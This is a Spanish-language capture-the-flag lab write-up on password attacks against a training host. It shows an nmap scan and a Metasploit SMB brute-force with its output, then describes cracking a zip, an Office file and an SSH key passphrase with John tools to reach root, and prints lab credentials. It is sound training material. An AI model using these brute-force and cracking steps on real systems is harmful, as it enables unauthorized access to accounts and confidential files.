Page cover

🔑Lab de contraseñas - Medium

Nuestro próximo host es una estación de trabajo utilizada por un empleado para su trabajo diario.

Estos tipos de hosts se utilizan a menudo para intercambiar archivos con otros empleados y, por lo general, los administran administradores a través de la red. Durante una reunión con el cliente, se nos informó que muchos usuarios internos utilizan este host como host de salto. La atención se centra en asegurar y proteger los archivos que contienen información confidencial.


Objetivo

Examina el segundo objetivo y envía el contenido de flag.txt en /root/ como respuesta.

Escaneo de puertos

sudo nmap -v -sV -T5 10.129.202.221 -Pn

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Observamos que tiene 3 puertos abiertos, 22, 139 y 445, que se corresponden con SSH y SMB

Bruteforce de SMB

Vamos a user el módulo smb_login de metasploit, explicado en la sección Bruteforce de Servicios:

msf6 auxiliary(scanner/smb/smb_login) > set user_file username.list
user_file => username.list
msf6 auxiliary(scanner/smb/smb_login) > set pass_file password.list
pass_file => password.list
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.129.187.207
rhosts => 10.129.187.207
msf6 auxiliary(scanner/smb/smb_login) > run

[*] 10.129.187.207:445    - 10.129.187.207:445 - Starting SMB login bruteforce
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\john:123456'
[!] 10.129.187.207:445    - No active DB -- Credential data will not be saved!
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\dennis:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\chris:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\cassie:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\admin:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\root:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\sysadmin:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\sysadm:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\svc:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\administrator:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\helpdesk:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\reception:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\finance:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\its:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\ict:123456'
[+] 10.129.187.207:445    - 10.129.187.207:445 - Success: '.\hr:123456'

Observamos que se repiten las mismas credenciales para múltiples usuarios, incluído el usuario root: 123456

Enumeración de SMB

Encontramos la carpeta compartida SHAREDRIVE con permisos de lectura que nos interesa. Dentro vemos que hay un Docs.zip que pude contener información relevante, por lo que nos lo vamos a descargar con smbclient:

Al intentar descomprimir este zip vemos que está protegido por contraseña, por lo que vamos a usar zip2john para crackearlo:

Cracking con zip2john

Vamos a utilizar nuestra lista de contraseñas mutadas con hashcat para aumentar la efectividad del crackeo con John:

Y bumm! Obtenemos la contraseña del zip. Vamos a descomprimirlo y ver su contenido:

Hay un Documentation.docx, pero su contenido está cifrado, por lo que necesitamos desencriptarlo para leer el contenido.

Cracking con Office2john

Ya tenemos la contraseña del archivo! Ahora necesitamos libreoffice para abrirlo en Kali Linux:

Y obtenemos correctamente las credenciales del usuario root!

jason:C4mNKjAtL2dydsYa6 🏆

Root Login

Observamos que Jason no es el usuario root (aunque así se recoja en el documento), por lo que vamos a enumerar información dentro del host

Lo primero que observamos es que hay 2 usuarios en el sistema: dennis y jason. Enumerando un poco de información encontramos que en el directorio dennis hay un archivo .bash_history que posiblemente contenga información relevante sobre el usuario root, pero no podemos acceder:

Escalada de privilegios

Observamos que se utiliza una base de datos en el host, por lo que vamos a loguearnos con este usuario administrados para ver si encontramos información relevante:

Encontramos la contraseña del usuario dennis: 7AUgWWQEiMPdqx

Al intentar conectarnos por SSH rechaza nuestra conexión, por lo que directamente vamos a cambiar al usuario Dennis dentro del host:

Conseguimos cambiar al usuario dennis correctamente, y podemos ver el archivo .bash_history, que tal y como pensábamos nos indica la ruta de los id_rsa para conectarnos sin contraseña por SSH.

Vamos a transferir el id_rsa a nuestra máquina de atacante y intentar conectarnos:

Nos pide un passphrase para el id_rsa, por lo que vamos a crackearlo con ssh2john

Cracking con ssh2john

Con esto, obtenemos las credenciales para loguearnos por SSH como el usuario root y el id_rsa

Acceso Root - Final

Efectivamente, nos logueamos correctamente y conseguimos acceder a la flag 🏆

Última actualización

¿Te fue útil?